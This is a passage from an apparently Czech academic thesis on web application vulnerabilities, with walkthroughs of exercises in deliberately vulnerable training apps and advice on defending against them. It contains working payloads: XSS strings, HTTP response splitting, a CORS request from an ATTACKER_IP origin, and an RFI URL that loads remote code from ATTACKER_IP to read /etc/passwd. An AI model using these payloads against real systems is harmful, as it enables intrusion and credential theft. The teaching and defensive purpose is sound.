Nejdříve se přihlásíme jako dva dostupní uživatelé. Na základě tohoto zjistíme, že část tokenu je statická a část se liší. Měnící se část má délku stejnou jako délka přihlašovacího jména. Pokud čteme token odzadu, všimneme si, že stejné znaky ve jménech se změnili na stejné znaky v tokenu. Jedná se o jednoduchou transpoziční šifru. Pro posledního uživatele tak vytvoříme token a ukradneme jeho relaci.

1.3.2.2 Špatně nastavená cookie

Server po autentizaci uživatele nastaví relační cookie pomocí `Set-cookie` a uživatel ji odesílá zpět pomocí hlavičky `Cookie`. Není vhodné, aby uživatel odesílal svoje cookie na všechny navštívené weby. Jak prohlížeč pozná, kdy má jakou cookie odeslat? V tomto případě nerozhoduje SOP, ale parametry `domain` a `path` nastavované při vytvoření cookie. [16]

Prohlížeč posílá cookie při každém dotazu na danou doménu a všechny subdomény webové aplikace. Pokud chceme toto chování změnit, použijeme parametr `domain`. Následně se pak cookie bude odesílat na tuto doménu a všechny její subdomény. Nelze však nastavit doménu nejvyšší úrovně. Bohužel nejsme schopni omezit odesílání cookie na subdomény, můžeme však doménu specifikovat pomocí FQDN.

Pokud webová aplikace běží v cestě `/a/b/c`, je pak cookie odeslána vždy při dotazu do tohoto adresáře a jakéhokoliv podadresáře. Pokud chceme, aby byla cookie odeslána i do adresáře výše, nastavíme požadovaný adresář pomocí parametru `path`.

Když jsme omezili, na jakou doménu a do jaké cesty se má cookie odesílat, je dalším krokem její odesílání pouze při využití TLS. K tomu je potřeba využít direktivy `Secure`. Další používanou direktivou je `HttpOnly`. Ta za-

mezuje přístupu k tokenu pomocí volání `document.cookie` v javascriptu a omezuje tak dopad útoku XSS.

Příklady zranitelností

Aplikace: bWAPP
Zranitelnost: Chybějící HttpOnly a Secure
URL: `/bWAPP/smgmt_cookies_<httponly|secure>.php`

Tyto dvě stránky nastavují cookie s různými hodnotami atributů. Uživatel následně může zobrazit cookie pomocí javascriptu nebo zachytit, zda se cookie odešle při přístupu na stránku pomocí HTTP.

1.3.2.3 Prozrazení tokenu

Stejně jako heslo by token neměl být zjistitelný třetí stranou. Může se tak ale stát hned několika způsoby. Jedním z nich je, stejně jako u hesla, komunikace přes HTTP. V tomto případě může dojít k odposlechu po celou dobu přenosu, a to na lokální síti, sítích ISP a na síti provozovatele serveru. Aplikace by měla využívat HTTPS pro všechny dotazy obsahující cookie. Je vhodné a jednoduché nastavit HTTPS pro celou aplikaci.

I přes šifrovaný přenos mohou být tokeny prozrazeny. Může k tomu dojít například pomocí přenosu tokenu jako parametru v URL. Pak může být token zaznamenán na reverse proxy nebo v historii prohlížeče. Může být uložen i na dalších místech, například v záznamech aplikace na webovém serveru.

Příklady zranitelností

Aplikace: bWAPP
Zranitelnost: Token v URL
URL: `/smgmt_sessionid_url.php`

Stránka jednoduchým způsobem pomocí přidání parametru do URL simuluje situaci, při které může být zachycena hodnota relace.

1.3.2.4 Ukončování a obnovování relace

Relace by neměla trvat do nekonečna. V případě, že by útočník zjistil hodnotu relačního tokenu, mohl by se za uživatele vydávat neomezeně. Jedním z případů, kdy by relace měla být ukončena, je odhlášení uživatele. V některých aplikacích ale odhlášení nefunguje správně nebo vůbec není implementováno. Další možností je zrušení relace po uplynutí určité doby neaktivity nebo určité doby od jejího vytvoření. Standardním chováním aplikace je, pokud po každém přihlášení přidělí uživateli nový token. Fixace relace nastává, pokud aplikace po každém přihlášení přidělí stejný token, nebo lze hodnotu tokenu ovlivnit útočníkem při přihlášení uživatele. Například pomocí parametru v těle nebo

v URL požadavku, cookie, skriptem na uživatelské straně nebo skrytou hodnotou ve formuláři. Útočník se pak může vydávat za uživatele dokud token nevyprší.

Příklady zranitelností

Aplikace: OWASP WebGoat
Zranitelnost: Fixace relace
URL: `/WebGoat/attack?Screen=56&menu=1800`

Předpokladem pro tuto zranitelnost je možnost ovlivnit hodnotu tokenu pomocí parametru `SID` v URL. Útočník pak pošle důvěryhodně vypadající email s odkazem k přihlašovací stránce a upravenou hodnotou `SID`. Uživatel si přečte email, otevře odkaz a přihlásí se. Útočník pak použije stejný odkaz a je přihlášen jako uživatel, protože hodnota relace je určena parametrem SID, který ale útočník uživateli podstčil.

Aplikace: bWAPP
Zranitelnost: Špatné odhlášení
URL: `/bWAPP/ba_logout.php`

Na lehkou obtížnost jsou nastaveny všechny cookie kromě `PHPSESSID` na hodnotu `deleted` a uživatel je přesměrován na přihlašovací stránku. Pokud použije tlačítko zpět, je opět přihlášen. Předchozí relace není nijak zrušena.

1.3.3 Autorizace

Potom co umíme ověřit identitu uživatele při přihlášení a při každém dalším požadavku, je potřeba určit, zda má uživatel k daným datům přístup. K tomu slouží proces autorizace. Následující zranitelnosti jsou rozděleny do několika kategorií, ale všechny mají stejný původ. Tím je důvěřování hodnotě předané uživatelem.

1.3.3.1 Administrátorské prostředí

Administrátorské prostředí by mělo být dostupné pouze po přihlášení. Zároveň není potřeba, aby k němu mohl přistoupit kdokoliv, proto je vhodné omezit přístup také na základě IP adresy. Dopad tohoto problému se zvyšuje v kombinaci s problémy s autentizací. Častou chybou pak bývá použití původních přihlašovacích údajů. Pokud jsou údaje změněny, často se tak děje pouze u hesla. Dalším důležitým faktorem je komplexnost hesla a ochrana proti útokům hrubou silou.

Příklady zranitelností

Aplikace: OWASP WebGoat
Zranitelnost: Přístupné administrátorské prostředí
URL: `/WebGoat/attack?Screen=10&menu=200`

Některé funkce určené pro administrátora jsou na dané stránce dostupné po přidání parametru `admin` s hodnotou `true`. Zranitelnost bychom mohli zařadit i do následující kategorie, nemělo by totiž záviset na hodnotě zadané uživatelem.

Aplikace: OWASP Vicnum
Zranitelnost: Přístupné administrátorské prostředí
URL: `/vicnum/cgi-bin/guessnum1.pl`

V požadavku je parametr `admin=N` a po jeho změně na `admin=Y` je uživatel přesměrován na administrátorské rozhraní.

1.3.3.2 Forced browsing

Jednou z klasických a častých chyb je přesvědčení, že pokud uživatel nezná správnou URL nemůže přistoupit k určité funkci či souboru. Při přístupu k souboru by měla být provedena kontrola identity a práv. Za předpokladu, že přístup k souboru má být omezen, ale samotná znalost URL je dostačující, je vhodné aby URL obsahovala dostatečně dlouhý a náhodný identifikátor. Inkrementální čítač či datum proto nejsou vhodnou metodou vytváření názvů souborů.

Tato zranitelnost je také známá pod pojmy Forceful browsing, File enumeration, Predictable resource location a Resource enumeration. [17]

Příklady zranitelností

Aplikace: OWASP WebGoat
Zranitelnost: Forced browsing
URL: `/WebGoat/attack?Screen=37&menu=1400`

Cílem je přistoupit ke konfiguračnímu souboru. Pro úspěch stačí URI změnit na `/WebGoat/conf`.

1.3.3.3 Directory traversal

Pokud může uživatel přistoupit k souborům mimo povolený adresář mluvíme o Directory traversal nebo také Path traversal. Nejčastěji toho lze dosáhnout pomocí manipulace s parametry a využití sekvence `../`. V takovém případě mluvíme o tvz. relativní verzi. [18]

Příklady zranitelností

Aplikace: OWASP WebGoat
Zranitelnost: Directory traversal
URL: `/WebGoat/attack?Screen=57&menu=200`

Uživatel má možnost zobrazit si určité soubory z dané složky, pokud ale parametr se jménem souboru upraví, například vloží `../`, může se dostat do nadřazených složek.

1.3.3.4 Eskalace privilegií

Eskalací privilegií nazýváme zranitelnost, která vzniká při špatné autorizaci. Pokud uživatel získá přístup k informacím jiného uživatele na stejné úrovni, mluvíme o horizontální eskalaci. Pokud je možné přistoupit k funkcím nebo informacím uživatele s jinými oprávněními, mluvíme o vertikální eskalaci.

Příklady zranitelností

Aplikace: HackMe Bank
Zranitelnost: Hodnota ve ViewState
URL: `/HacmeBank_v2_Website/aspx/main.aspx?function=AdminSection`

Aplikace obsahuje administrátorskou sekci. Aby byl uživateli umožněn přístup, musí správně odpovědět na náhodnou číselnou výzvu aplikace. Správná odpověd je ale odeslána společně s výzvou a uložena v zakódované podobě ve `ViewState` na straně uživatele. Pomocí Burp Suite jsme schopni `ViewState` zobrazit strukturovaně v dekódované podobě.

Aplikace: OWASP WebGoat
Zranitelnost: Chyba v business vrstvě
URL: `/WebGoat/attack?Screen=65&menu=200&stage=1`

Úkolem je se přihlásit jako uživatel Tom a smazat účet. Po přihlášení ovšem tato možnost není vidět. Existuje zde možnost zobrazit profil. Pokud tuto funkcionalitu využijeme, odešle se dotaz s parametry `employee_id=105` a `action=ViewProfile`. Když změníme druhý parametr na `DeleteProfile`, dojde ke smazání účtu.

1.3.3.5 Insecure Direct Object References

Nikdy se nelze spoléhat na hodnotu předanou uživatelem. Je potřeba počítat s tím, že co může být na straně uživatele změněno, pokusí se útočník změnit. Útočník může změnit skrytou hodnotu ve formuláři, parametr dotazu nebo některou hlavičku či cookie. Kódování a v některých případech ani hashování nemusí útočníkovi v tomto činu zabránit.

Kontrola uživatelova vstupu na straně klienta proto nemá sloužit jako primární ochrana proti útokům. Při použití proxy lze totiž hodnoty změnit až potom, co tyto kontroly proběhnou.

Příklady zranitelností

Aplikace: OWASP WebGoat
Zranitelnost: Chyba v datové vrstvě
URL: `/WebGoat/attack?Screen=65&menu=200&stage=3`

Úkolem je zobrazit profil jiného uživatele. V dotazu je obsahužen parametr `employee_id`. Po jeho zvýšení o jedna se zobrazí jiný profil. Pro automatizaci můžeme využít Burp Suite Intruder.

Aplikace: OWASP Vicnum
Zranitelnost: Hodnoty ovlivnitelné uživatelem
URL: `/vicnum/cgi-bin/guessnum`

Jedna z her obsažených v aplikaci Vicnum se jmenuje Guessnum a obsahuje několik zranitelností tohoto typu. Cílem hry je uhodnout trojciferné číslo. Po každém tipu je uživateli sděleno, kolik čísel má správně. První chybou je, že číslo se vygeneruje na serveru, ale je zakódované pomocí base64 předáno zpět uživateli v parametru `VIEWSTATE`.

Druhým problémem je, že počet uskutečněných pokusů se uloží u klienta v parametru `oldguess`. Při správném uhodnutí lze hodnotu smazat a dosáhnout ve výsledcích perfektního skóre.

Guessnum je naprogramován v Perlu, ale aplikace pro zápis výsledků do databáze je vytvořena v PHP. Mezi těmito dvěma aplikacemi je třeba si hodnoty nějak předat. Hodnoty jsou předány v cookies a jejich změnou lze také dosáhnout zápisu výsledku s libovolným jménem a skórem.

Aplikace: HackMe Bank
Zranitelnost: Hodnota ve ViewState
URL: `/aspx/main.aspx?function=AccountTransfer`

Naprosto jednoduchou metodou převodu pěnez z cizího účtu na svůj je zadání negativní částky. V programu je provedena kontrola na straně klienta a je tak zapotřebí hodnotu změnit na zápornou až pomocí proxy.

1.3.4 Útoky na uživatele

Do této chvíle probíhal popis zranitelností přibližně chronologicky. Nejdříve se uživatel přihlásil, aplikace udělala potřebné kroky k tomu, aby uživatele rozpoznala v každém dalším požadavku a následně mu tak mohla povolit nebo odepřít přístup. Nyní následují dvě kategorie zranitelností, které již nelze

seřadit chronologicky. Jedná se zaprvé o zranitelnosti umožňující útoky na uživatele, které popíšeme v této podkapitole. Zadruhé jsou to útoky na server, respektive jeho různé části, které popíšeme v podkapitole 1.3.5. Zřejmě nejznámější útok cílený na uživale je XSS. Ten byl zařazen v projektu OWASP Top Ten v letech 2010, 2013 i 2017.

1.3.4.1 Cross-Site Scripting (XSS)

Cross-Site Scripting je útok cílený na uživatele. Jedná se o skript, který útočník nějakým způsobem doručí k oběti tak, aby se prohlížeči jevilo, že se jedná o legitimní skript a spustí ho. Nelze ovšem doručit kód libovolným způsobem, a to kvůli SOP. Ta totiž odděluje jednotlivé kontexty na základě domény, protokolu a portu. SOP lze demonstrovat jednoduchým příkladem. Řekněme, že cílem bude získat cookies pomocí volání `document.cookie`. Pokud útočník uloží skript na doménu utocnik.com a donutí uživatele k tomuto skriptu přistoupit, pak voláním `document.cookie` získá cookies pouze na doméně utocnik.com. Dle způsobu funkčního doručení skiptu tak dělíme XSS na několik typů.

Reflected XSS
V případě, že kód není uložen přímo na serveru, ale je reflektován vstupem od uživatele, mluvíme o tzv. Reflected XSS. Často uváděným příkladem je funkce vyhledávání. Uživatel vloží hledaný řetězec a odpověď serveru obsahuje informaci, že pro daný řetězec byl nalezen určitý počet záznamů. Častá je také varianta, kdy uživatel nevloží tento řetězec do vyhledávání, ale do URL. Server pak vrátí informaci o tom, že daný soubor se na serveru nenachází, a přitom nedojde k ošetření daného názvu souboru.

Otázkou zůstává, jak donutit uživatele, aby daný kód zadal. Pokud by o něm věděl, zřejmě by ho dobrovolně nevložil. K tomuto útoku tak nejčastěji dochází pomocí distribuce odkazu, kde v jednom z parametrů je tento skript uložen.

Tento typ útoku je často zmiňován pouze v souvislosti s programovacím jazykem javascript. Méně rozšířenou a ustupující variantou je XSS ve Flash aplikaci. Pokud jsme schopni spustit skript, ale nemůžeme tím napadnout jiného uživatele, mluvím o tzv. Self XSS. Reálná šance na využití je ve spojení se sociálním inženýrstvím nebo ve spojení s jinými zranitelnostmi.

Stored XSS
Opačným případem k předchozímu typu je tzv. Stored XSS. Nyní je kód uložen na straně serveru a zobrazen každému uživateli. Útočníkovi tak stačí kód zadat jednou a zároveň většinou cílí na více obětí. Typickým příkladem je fórum, které umožňuje uživateli napsat zprávu, kterou si pak můžou ostatní zobrazit.

DOM XSS
V předchozích případech se kód odeslal na server, zde se nějakým způsobem

zpracoval a následně odeslal zpět. Je ovšem možné provést XSS i bez toho, aniž by tento kód přišel na server. Server uživateli místo samotného XSS odešle javascript, který na stránce může aktualizovat obsah na základě informací obsažených v DOM.

Jak se bránit

Příčinou XSS je nesprávná manipulace se vstupem od uživatele. V každém případě je potřeba předpokládat, že daný vstup může obsahovat útočníkův kód. Proto je potřeba data kontrolovat na každém vstupu i výstupu. Celý proces obrany si předvedeme na příkladu, se kterým jsme se setkali v praxi a reprezentuje několik typických chyb a klasický způsob opravy.

Tím příkladem je výběr národnosti z menu. Uživatel si vybere ze seznamu zkratku obsahující dva znaky. V původním stavu není provedena žádná kontrola vstupu. Programátor zřejmě předpokládá, že uživatel nemůže zadat nic jiného než možnost z připraveného menu. Běžný uživatel zřejmě ne, ale pokročilý uživatel za pomoci vývojářského prostředí webového prohlížeče nebo za použití proxy ano.

Prvním krokem k opravě je si uvědomit, že uživatel může zadat libovolný vstup. K tomu se pojí i druhá chyba, a to kde provést kontrolu vstupu. Vývojář po upozornění na chybu přidal jednoduchou kontrolu, ovšem v jazyce javascript na straně uživatele. Pokud ale vstup změníme v proxy, pak tuto ochranu obejdeme, protože požadavek již opustil prohlížeč. Druhým krokem je tedy provádět bezpečnostní kontrolu na straně serveru. Zároveň je vhodné ponechat kontrolu v javascriptu. Ta je však vhodná pouze pro běžného uživatele jako upozornění, že tento vstup není v pořádku a měl by tedy danou hodnotu změnit. Vývojáři je při testování typicky ukázán důkaz. Za ten se běžně používá řetezec `<script>alert(1)</script>`, který zobrazí vyskakovací okno s textem 1. Následuje tedy častá chyba, kterou je použití seznamu zakázaných znaků či řetězců. Tento postup se nazývá blacklisting. Vývojář si uvědomuje, že řetězec `<script>` je znakem XSS, a tak ho na vstupu zakáže. Ne každý způsob útoku však využívá řetězce `<script>`. Pokud je kontrola vytvořena naprosto špatně, pak například výměna za `<SCRIPT>` nebo použití `<img src=x onerror=alert(1)>` vede ke spuštění kódu.

Vhodnější přístup je opačný a nazývá se whitelisting. Povoluje pouze určité znaky a docílit toho můžeme pomocí regulárních výrazů. Pokud daný řetězec nesplňuje podmínky, můžeme ho celý zamítnout nebo z něj problematické znaky odstranit. Dále je vhodné omezit délku vstupu. Jednoduchým řešením tohoto příkladu z bezpečnostního hlediska je aplikace regulárního výrazu, který povolí pouze dva znaky ze skupiny velkých písmen.

V tomto příkladu jsme probrali pouze kontrolu vstupu v případě, že nemá obsahovat speciální znaky. Pokud má obsahovat speciální znaky, měli bychom je při ukládání a zobrazování uživateli upravit tak, aby nepředstavovaly žádné bezpečnostní riziko. Jednou z možností je HTML kódování znaků. Níže je

uveden příklad vstupu a výstupu:

- \ – `&quot`
- ‘ – `&apos`
- & – `&amp`
- < – `&lt`
- > – `&gt`

Problém nastává u DOM XSS. V tomto případě nedochází k odesílání dat na server a jejich kontrole. Proto je vhodné minimalizovat počet manipulací se vstupem u klienta a případně aplikovat obdobné principy ochrany na straně klienta v javascriptu.

Jak testovat XSS
Na začátku je potřeba identifikovat parametry, které může uživatel zadat. Do každého parametru se pokusíme zadat vstup, který by měl spustit kód. Následně sledujeme parametry v odpovědi. Zaměříme se na to, zda a jak jsou kódovány nebo filtrovány a v jakém kontextu je parametr. Na základě toho se snažíme upravit hodnotu parametru tak, aby ke spuštění došlo. Ve složitějších případech je pak parametr zobrazen po několika dalších krocích, například při vyplňování velkého formuláře. Někdy může být XSS spuštěno jen u jiného uživatele, například pokud schvaluje vytvořenou žádost. Toto je také jeden z důvodů, proč by se měl penetrační test provádět s pomocí všech uživatelských rolí. [10, kap. OTG-INPVAL-001, OTG-INPVAL-002]

Příklady zranitelností

Aplikace: OWASP WebGoat
Zranitelnost: Stored XSS
URL: `/WebGoat/attack?Screen=20&menu=900&stage=3`

Cílem cvičení je vložit XSS do pole s názvem ulice v osobním profilu uživatele Tom. Vstup není nijak ošetřen. Zranitelnost je potřeba ověřit pomocí funkcionality zobrazení profilu jako uživatel Jerry. Jako vstup stačí použít:

```
<script>alert(1)</script>
```

Aplikace: OWASP WebGoat
Zranitelnost: Reflected XSS
URL: `/WebGoat/attack?Screen=20&menu=900&stage=5`

Funkcionalita hledání uživatelů obsahuje velmi přímočaré XSS. Využijeme vstup vyhlédavacího pole, který není nijak ošetřen. Vložením standartního testovacího řetězce se zobrazí vyskakovací okno s hodnotou 1. Pokud bychom v tuto chvíli chtěli napadnout uživatele pomocí zaslání URL, neuspěli bychom kvůli využití metody POST. Abychom dokázali situace využít, je potřeba změnit metodu dotazu z POST na GET. Parametr se tak objeví v URL, kterou můžeme uživateli zaslat. Další chybou na serveru je, že takový dotaz příjme a nekontroluje použitou metodu.

Aplikace: OWASP WebGoat
Zranitelnost: DOM XSS
URL: libovolné URL s parametrem `menu`

Pokud uživatel otevře libovolné cvičení, URL obsahuje parametr `menu`, podle kterého se vykresluje, v které části menu aplikace se uživatel nachází. Soubor `menu.JS` obsahuje funkci `trigMenu1`. Tato funkce pracuje s parametry v URL a následně volá funkci `eval()`, do které předává hodnotu parametru `menu`. Pokud například na začátek tohoto parametru přidáme řetězec `'-alert(1)-'`, dojde k zobrazení vyskakovacího okna s hodnotou 1.

Aplikace: WackoPicko
Zranitelnost: Multi-Step Stored XSS
URL: `/WackoPicko/pictures/view.php`

WackoPicko obsahuje celkem pět XSS zranitelností, ale tato je odlišná. Aby došlo ke spuštění XSS je potřeba při zadání komentáře k fotce projít přes `/WackoPicko/comments/preview_comment.php`. Pokud se XSS spustí na jiné stránce než kde se zadá, nebo pokud je potřeba více kroků, mluvíme o tzv. Multi-Step XSS.

1.3.4.2 Cross-Origin Resource Sharing (CORS)

Představme si následující situaci. Uživatel má otevřený prohlížeč se dvěma či více aplikacemi. Kvůli SOP není možné, aby jedna aplikace přečetla obsah odpovědi určené pro druhou aplikaci. Přesněji řečeno jeden zdroj, který je definován pomocí domény, protokolu a portu nemá přístup k odpovědi pro druhý zdroj. V některých případech je však tato možnost žádoucí, a řešením je CORS. Ten za pomoci několika hlaviček v požadavcích a odpovědích definuje, který obsah a za jakých podmínek je pro jiný zdroj dostupný.

Použití CORS automaticky neznamená bezpečnostní riziko. Problémem může nastat tehdy, když je povolen pro stránky s citlivými údaji a také při špatné konfiguraci. Proto je vhodné znát patřičné hlavičky.

```
Access-Control-Allow-Origin: <origin> | *
```

- Hlavička určuje, který zdroj má k danému obsahu přístup. Lze specifikovat pouze jeden zdroj nebo všechny pomocí znaku `*`. Nelze specifikovat dva zdroje a ani nelze zvolit všechny subdomény. Pokud server potřebuje důvěřovat více zdrojům, programátor se může úchýlit k použití nebezpečné konfigurace s `*`. Některé aplikace také generují hodnotu na základě hlavičky `Origin` v požadavku. Zde záleží na tom, jakým způsobem a zda vůbec je předaná hodnota kontrolována.

```
Access-Control-Allow-Credentials: true
```

- Požadavek na jinou doménu normálně neobsahuje cookie. Do požadavku je přidáme nastavením `XMLHttpRequest.withCredentials`. Odpověď je ale prohlížečem odmítnuta, pokud neobsahuje výše zmíněnou hlavičku. Ta ovšem nefunguje, pokud jsme povolili všechny zdroje pomocí `*`. [19]

Příklady zranitelností

Aplikace: bWAPP
Zranitelnost: CORS
URL: `bWAPP/sm_cors.php`

Úkolem je zjistit tajemství pomocí AJAX požadavku. Na nízkou obtížnost odpověď serveru obsahuje

```
Access-Control-Allow-Origin: *
```

Požadavek tak můžeme vytvořit v javascriptu pomocí `XMLHttpRequest` na stránce útočníka. V proxy pak může vypadat například takto:

```
GET /bWAPP/secret-cors-1.php HTTP/1.1
Host: <SERVER_IP>
Referer: http://<ATTACKER_IP>/bwapp_cors.html
Origin: http://<ATTACKER_IP>
Connection: close
```

Na vyšší obtížnost je kontrolována hlavička `origin` a do požadavku je potřeba přidat

```
Origin: http://intranet.itsecgames.com
```

Tento požadavek není možné odeslat pomocí javascriptu, jelikož prohlížeč nám neumožňuje změnit tuto hlavičku.

1.3.4.3 Cross-Site Request Forgery (CSRF)

Představíme si situaci, kdy je uživatel přihlášen do aplikace. Ta umožňuje dotazem, jehož formát je útočníkovi znám, provést určitou akci. Typickým příkladem je převedení určité částky na účet. Útočník připraví požadavek, který obsahuje jeho číslo účtu a donutí uživatele požadavek odeslat. Pokud je požadavek typu GET, pak stačí uživateli poslat URL. Pokud je požadavek typu POST, pak je třeba vytvořit formulář na stránce kontrolované útočníkem, který se automaticky odešle při navštívení stránky uživatelem. Pokud není aplikace zabezpečena, finanční částka se odešle. K odeslání částky dochází kvůli tomu, že útočník zná všechny parametry a cookie se odesílá automaticky. SOP tomutu chování také nebrání.

Typickým řešením je do požadavku přidat náhodnou a unikátní hodnotu, kterou útočník nezná a která se neodesílá automaticky. Této hodnotě se říká anti-CSRF token. Tento token je možné generovat při každém přihlášení nebo každém novém požadavku. Jeho přenos pak probíhá pomocí skrytého pole ve formuláři. Možnosti jak kontrolovat hodnotu tokenu jsou dvě. Buď si ji server pamatuje nebo je hodnota zároveň obsažena v cookie a následně porovnána s tou z formuláře.

Další možností je využití hlavičky `Origin` nebo `Referer`. [20] Kontrolou těchto hlaviček můžeme zjistit, odkud byl požadavek odeslán. Webový prohlížeč totiž neumožňuje změnit hodnotu těchto hlaviček přes javascript.

Pokud se pro všechny změny v aplikaci využívá metoda POST, pak je dalším řešením použití direktivy `SameSite`, která omezuje odesílání cookie při požadavku z jiné aplikace. [21]

Příklady zranitelností

Aplikace: DVWA
Zranitelnost: CSRF
URL: `dvwa/vulnerabilities/csrf`

Zranitelná stránka obsahuje změnu hesla pro administrátorský účet. Na nízkou obtížnost je při změně hesla odeslán GET požadavek nevyžadující původní heslo a neobsahující žádný anti-CSRF token. Stačí tak pouze zkopírovat URL a předat ho administrátorovi. V nastavení na střední obtížnost je přidána hlavička Referer a je kontrolována na straně serveru. V nastavení na nejvyšší obtížnost je do požadavku přidáno také původní heslo.

1.3.4.4 Unvalidated redirects

Jak již název napovídá, problémem je převzetí vstupu od uživatele, který obsahuje URL bez další validace. Tato zranitelnost lze využít při phishingové kampani a za účelem krádeže uživatelských údajů. Přesměrování lze provést

na straně serveru, nebo v javascriptu nastavením hodnoty `window.location`. Pomocí některých metod je také možné dosáhnout DOM-XSS.

Možnou obranou je nahradit přesměrování přímím odkazem nebo na serveru udržovat seznam URL pro přesměrování a v parametrech předávat místo URL identifikátor. V případě, že je za potřebí aby uživatel mohl definovat vlastní URL, pak je vhodné se omezit na relativní odkaz a vstup řádně kontrolovat. K ochraně proti DOM-XSS je vhodné omezit přesměrování pomocí uživatelských skriptů.

Příklady zranitelností

Aplikace: bWAPP
Zranitelnost: Unvalidated redirect
URL: `/bWAPP/unvalidated_redir_fwd_1.php`

Stránka nabízí možnost kliknutím na tlačítko přesměrovat uživatele na URL, kterou si vybral z připravených voleb v menu. URL je ale předáváno v parametru `url` a v proxy stačí jeho hodnotu změnit.

Při nastavení na vyšší obtížnost se v parametru předává identifikátor volby a při jeho změně na neexistující je uživatel přesměrován na přihlašovací stránku aplikace.

1.3.4.5 HTTP Response splitting

Pod tímto útokem se skrývá schopnost útočníka rozdělit jednu odpověď serveru na dvě kompletní odpovědi. Toho lze docílit pomocí injektace hodnot do hlaviček odpovědi. Nejčastěji se tak děje přes hlavičky `Location` a `Cookie`.

Pro správné rozdělení hlaviček je potřeba vložit sekvenci `CRLF`, která po URL zakódování vypadá jako `%0d%0a`. Nejdříve ukončíme první odpověď, která bude obsahovat hlavičky před zranitelným místem a následně za pomoci zbylých hlaviček dokončíme odpověď druhou. Pokud se připojujeme k aplikaci přes proxy, můžeme pomocí tohoto útoku docílit tzv. Cache Poisoning. Stránka, na kterou útočník přistoupí po vykonání HTTP splitting útoku bude v cache proxy nahrazena druhou odpovědí z tohoto útoku. Tento útok pak má dopad na všechny uživatele dané proxy. Pro správné provedení je někdy potřeba vložit hlavičky kontrolující cache, a to `If-Modified-Since` a `Last-Modified`.

Příklady zranitelností

Aplikace: OWASP WebGoat
Zranitelnost: HTTP Response splitting
URL: `/WebGoat/attack?Screen=3&menu=100`

Do parametru `language` vložíme hodnotu:

```
=foobar%250aContent-Length%3a%25200%250a%250a
HTTP/1.1%2520200%2520OK%250aContent-Type%3a%2520text/html%250a
Content-Length%3a%252023%250a%250a<html>Hacked</html>
```

V odpovědi se zobrazí `<html>Hacked</html>`. Tímto se nám podařilo provést HTTP splitting. Dalším cílem je vložení hlavičky pro manipulaci s cache. Do parametru je potřeba přidat ještě:

```
Last-Modified%3a%2520Mon,%252012%2520Dec
%25202112%252012%3a12%3a12%2520GMT%250a
```

Aplikace: bWAPP
Zranitelnost: HTTP Response splitting
URL: `/bWAPP/http_response_splitting.php`

Cílem je dostat od serveru upozornění na vložený nový řádek. Hodnota parametru `url` je reflektována v hlavičce `Location`, ale vložíme-li jakýkoliv text za znaky `%0d%0a` nebo `%0a`, hlavička `Location` je z odpovědi odebrána a není možné využít zranitelnosti. Při aplikaci kódování jsme přesměrováni na stránku s chybou a celý vstup je brán jako URI. S největší pravděpodobností se jedná o chybu v implementaci, kdy i na nejnižší úroveň je provedena validace vstupu.

1.3.4.6 Host header injection

Představme si situaci, kdy společnost vytvoří webovou aplikaci, kterou si následně koupí velké množství zákazníků. Aplikaci může obsahovat funkcionalitu na obnovení hesla. Jelikož odkaz pro obnovu hesla se bude měnit dle domény zákazníka, je potřeba tuto hodnotu zjistit. Jednou z možností jak ji zjistit je z hlavičky `Host` v požadavku na obnovu hesla. Tuto hlavičku ale může uživatel měnit a tak může email s obnovou hesla obsahovat útočníkem definovanou hodnotu a legitimního uživatele zmást k provedení nechtěné akce. Hlavičku `Host` mohou aplikace využívat na více místech. Pokud ji aplikace používá, měla by její obsah validovat.

Příklady zranitelností

Aplikace: OWASP WebGoat
Zranitelnost: Host header injection
URL: `/bWAPP/hostheader_2.php`

Na začátku musí uživatel vložit validní emailovou adresu, která je uložena v databázi. Jelikož aplikace obsahuje funkcionalitu na registraci uživatelů, může si zaregistrovat vlastní adresu. Po jejím zadání při obnově hesla je odeslán obnovovací email. Při nastavení na nejnižší obtížnost se parametr `server` určuje

na základě hlavičky `Host`, na vyšší obtížnost je určen staticky. Email se ale ve skutečnosti neodešle, ani není možné ho v aplikaci jednoduše zobrazit. Na základě zdrojového kódu pak email obsahuje tuto část:

```
Click the link to reset and change your secret:
http://" . $server . "/bWAPP/secret_change.php?..."
```

Ta by uživatele přesměrovala na server útočníka, zde by zadal nové heslo a útočníkova aplikace by ho za něj následně v legitimní aplikaci nastavila. Tak by uživatel ani nepřišel na to, že jeho heslo zná někdo jiný. Pokud uživatel odkaz pouze otevře, získá útočník URL pro jeho nastavení. Pokud není odkaz časově omezen, může útočník uživateli změnit heslo kdykoli. Zápis obnovovacího kódu do databáze v tomto případě probíhá bez určení času vytvoření či expirace.

```
$sql = "UPDATE users SET reset_code = '" . $reset_code .
"' WHERE email = '" . $email . "'";
```

1.3.4.7 Local storage

Aplikace mohou ukládat data ve formě slovníku do lokálního uložiště webového prohlížeče. Přístup k němu je umožněn pomocí javasriptu, takže data v něm uložená lze získat pomocí XSS. Není zde tedy vhodné ukládat citlivá data. K datům může přistoupit i jiný uživatel využívající stejný počítač. Použití uložené hodnoty k autorizaci není dobrý nápad, protože uživatel může tuto hodnotu změnit. Nekontrolované přiřazení hodnoty může vést i k XSS.

Příklady zranitelností

Aplikace: bWAPP
Zranitelnost: HTML5 Web Storage
URL: `/bWAPP/insecure_crypt_storage_1.php`

Aplikace ukládá do lokálního úložiště webového prohlížeče přihlašovací jméno a tajemství. Úkolem je získat jejich hodnotu pomocí XSS. K tomuto účelu použijeme volání `localStorage.login` a `localStorage.secret`.

1.3.5 Útoky na server

1.3.5.1 File inclusion

Útočníkovím cílem může být získání citlivých údajů, spuštění kódu na serveru, spuštění kódu v uživatelském prohlížeči nebo DoS. Pokud webový server zpracuje správný soubor, lze dosáhnout všech dříve zmíněných cílů.

Problém jako obvykle vyvstává, pokud aplikace načítá soubor na základě uživatelského vstupu, který je nedostatečně validován. Načtení souboru je také možné dosáhnout například pomocí XXE nebo SSRF.

Pokud se načtený soubor nacházel na serveru, mluvíme o tzv. LFI. Pokud se soubor načítal vzdáleně, mluvíme o RFI.

Příklady zranitelností

Aplikace: bWAPP
Zranitelnost: LFI a RFI
URL: `/bWAPP/rlfi.php`

Velmi jednoduché příklady nabízí zranitelný parametr `language`. Jako jeho hodnotu stačí zadat `/etc/passwd` pro LFI. Pro RFI můžeme zadat:

```
http://<ATTACKER_IP>/execute.txt&action=go&cmd=cat%20/etc/passwd
```

Obsah souboru execute.txt je pak stejný jako v ukázce u kapitoly 1.3.5.4.

1.3.5.2 XML External Entity (XXE)

